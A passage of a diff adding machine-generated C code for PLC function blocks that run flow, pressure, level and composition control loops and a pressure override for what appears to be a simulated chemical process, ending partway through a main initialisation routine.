(REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + 